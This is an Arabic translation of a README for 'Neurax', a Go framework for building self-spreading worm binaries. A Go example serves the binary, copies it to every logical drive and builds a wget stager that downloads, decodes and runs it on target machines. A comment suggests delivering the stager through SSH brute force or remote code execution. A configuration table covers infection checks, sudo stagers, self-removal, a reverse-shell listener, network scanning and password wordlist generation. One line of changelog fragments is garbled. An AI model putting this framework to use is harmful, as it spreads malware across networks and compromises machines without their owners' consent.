
إطار عمل لبناء البرامج الثنائية ذاتية الانتشار
إطار عمل يساعد في إنشاء برامج ذاتية الانتشار
بمساعدة Neurax، يمكن للبرامج الثنائية (binaries) المكتوبة بلغة Go أن تنتشر على الشبكات المحلية والواسعة دون الحاجة إلى خوادم خارجية.
تتيح خيارات التهيئة المتنوعة ومُرتِّلات الأوامر (Stagers) الانتشار السريع عبر بيئات لاسلكية مختلفة.
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Specify serving port and stager to use
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}
unlinkat(2)N.StagerBg)N.NoInfectCheck لتعطيل التحقق مما إذا كان المضيف مصاباً بالفعل.NeuraxServer().httrack جديد لنظام LinuxN.StagerRemovalDelay).FastScan الذي يجعل عمليات المسح النشط أسرع قليلاًNeuraxScan() تقبل دالة رد اتصال بدلاً من قناة كوسيط.NeuraxScan() تفحص في حلقة لا نهائية مع إمكانية تعيين فاصل زمني بين كل فحص للشبكة الفرعية أو مجموعة الأهدافNeuraxConfig. هو N. (لأنه أقصر في الكتابة)wget + curl).WordlistExpand)| الاسم | الوصف | القيمة الافتراضية |
|---|---|---|
| Nrx.Config.Stager | اسم مُرتِّل الأوامر المستخدم | random, platform-compatible |
| Nrx.Config.StagerSudo | إذا كان صحيحاً، يتم تنفيذ مُرتِّلات أوامر Linux بصلاحيات مرتفعة | false |
| Nrx.Config.StagerRetry | عدد مرات إعادة تنفيذ مُرتِّل الأوامر | 0 |
| Nrx.Config.StagerRemoveDelay | يتم تطبيق تعليمة تأخير قبل إزالة الملف الثنائي المُنزَّل | true |
| Nrx.Config.Port | المنفذ المستخدم للخدمة | 6741 |
| Nrx.Config.Platform | المنصة المستهدفة | يتم اكتشافها تلقائياً |
| Nrx.Config.Path | المسار الذي يُحفظ فيه الملف الثنائي على المضيف | . |
| Nrx.Config.FileName | الاسم الذي يُخدم به الملف الثنائي المُنزَّل ثم يُحفظ | random |
| Nrx.Config.Base64 | ترميز الملف الثنائي المنقول بصيغة base64 | false |
| Nrx.Config.CommPort | المنفذ الذي تستخدمه الملفات الثنائية للتواصل فيما بينها | 7777 |
| Nrx.Config.CommProto | بروتوكول الاتصال بين العقد | "udp" |
| Nrx.Config.ReverseListener | يحتوي على "<host>:<port>" لمعالج الصدفة العكسية عن بُعد | غير محدد |
| Nrx.Config.ReverseProto | البروتوكول المستخدم للاتصال العكسي | "udp" |
| Nrx.Config.ScanRequiredPort | تعتبر NeuraxScan() المضيف نشطاً فقط عندما يكون لديه منفذ معين مفتوح | none |
| Nrx.Config.ScanPassive | تكتشف NeuraxScan() المضيفين باستخدام مراقبة حركة ARP السلبية | false |
| Nrx.Config.ScanPassiveTimeout | تراقب NeuraxScan() طبقة ARP بهذا العدد من الثواني | 50 seconds |
| Nrx.Config.ScanPassiveIface | الواجهة المستخدمة عند المسح السلبي | default |
| Nrx.Config.ScanActiveTimeout | تعيّن NeuraxScan() هذه القيمة كمهلة للمنفذ الممسوح ضوئياً في كل خيط | 2 seconds |
| Nrx.Config.ScanPassiveAll | تلتقط NeuraxScan() الحزم على جميع الأجهزة المُكتشفة | false |
| Nrx.Config.ScanPassiveNoArp | لا يقوم المسح السلبي بتعيين فلتر التقاط ARP صارم | false |
| Nrx.Config.ScanFirst | شريحة تحتوي على عناوين IP يتم فحصها أولاً | []string{} |
| Nrx.Config.ScanFirstOnly | تقوم NeuraxScan() بفحص المضيفين المحددين فقط داخل .ScanFirst | false |
| Nrx.Config.ScanArpCache | تقوم NeuraxScan() بفحص المضيفين الموجودين في ذاكرة التخزين المؤقت لـ ARP أولاً. يعمل فقط مع المسح النشط | false |
| Nrx.Config.ScanCidr | تقوم NeuraxScan() بفحص هذا النطاق CIDR | local IP + "\24" |
| Nrx.Config.ScanActiveThreads | عدد الخيوط المستخدمة في NeuraxScan() | 10 |
| Nrx.Config.ScanFullRange | تقوم NeuraxScan() بفحص جميع منافذ المضيف المستهدف لتحديد ما إذا كان نشطاً | from 19 to 300 |
| Nrx.Config.ScanInterval | الفاصل الزمني للنوم قبل فحص الشبكة الفرعية بأكملها مرة أخرى | "2m" |
| Nrx.Config.ScanHostInterval | الفاصل الزمني للنوم قبل فحص المضيف التالي في الوضع النشط | "none" |
| Nrx.Config.ScanGatewayFirst | يتم فحص البوابة أولاً عند استخدام المسح النشط | false |
| Nrx.Config.Verbose | إذا كان صحيحاً، تتم طباعة جميع رسائل الخطأ إلى STDOUT | false |
| Nrx.Config.Remove | عند حدوث أي أخطاء، يقوم الملف الثنائي بإزالة نفسه من المضيف | false |
| Nrx.Config.PreventReexec | إذا كان صحيحاً، عندما يطابق أي أمر تلك الأوامر التي تم استلامها مسبقاً، لا يتم تنفيذه | true |
| Nrx.Config.WordlistExpand | تقوم NeuraxWordlist() بإجراء تحويلات غير قياسية على كلمات الإدخال | false |
| Nrx.Config.WordlistCommon | إضافة 20 كلمة مرور الأكثر شيوعاً إلى قائمة الكلمات | false |
| Nrx.Config.WordlistCommonNum | عدد كلمات المرور الشائعة المراد استخدامها | all |
| Nrx.Config.WordlistCommonCountries | خريطة map[string]int تحتوي على رموز الدول وعدد كلمات المرور المراد استخدامها | map[string]int |
| Nrx.Config.WordlistMutators | المحولات المراد استخدامها عند تحديد .WordlistExpand | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | أقصى طول للتبديل الناتج عن NeuraxWordlistPermute() | 2 |
| Nrx.Config.WordlistPermuteSeparator | حرف فاصل لاستخدامه في التبديلات | "-" |
| Nrx.Config.WordlistShuffle | خلط قائمة الكلمات المُنشأة قبل إرجاعها | false |
| Nrx.Config.AllocNum | يحدد هذا الإدخال عدد المرات التي يُخصص فيها NeuraxAlloc() ذاكرة عشوائية | 5 |
| Nrx.Config.Blacklist | شريحة تحتوي على عناوين IP المستثناة من أي نوع من أنواع المسح | []string{} |
| Nrx.Config.FastHTTP | يتم تنفيذ طلب HTTP في IsHostInfected() باستخدام مكتبة fasthttp | false |
| Nrx.Config.Debug | تمكين رسائل التصحيح | false |
| Nrx.Config.NoInfectCheck | تعطيل التحقق مما إذا كان المضيف مصاباً بالفعل | true |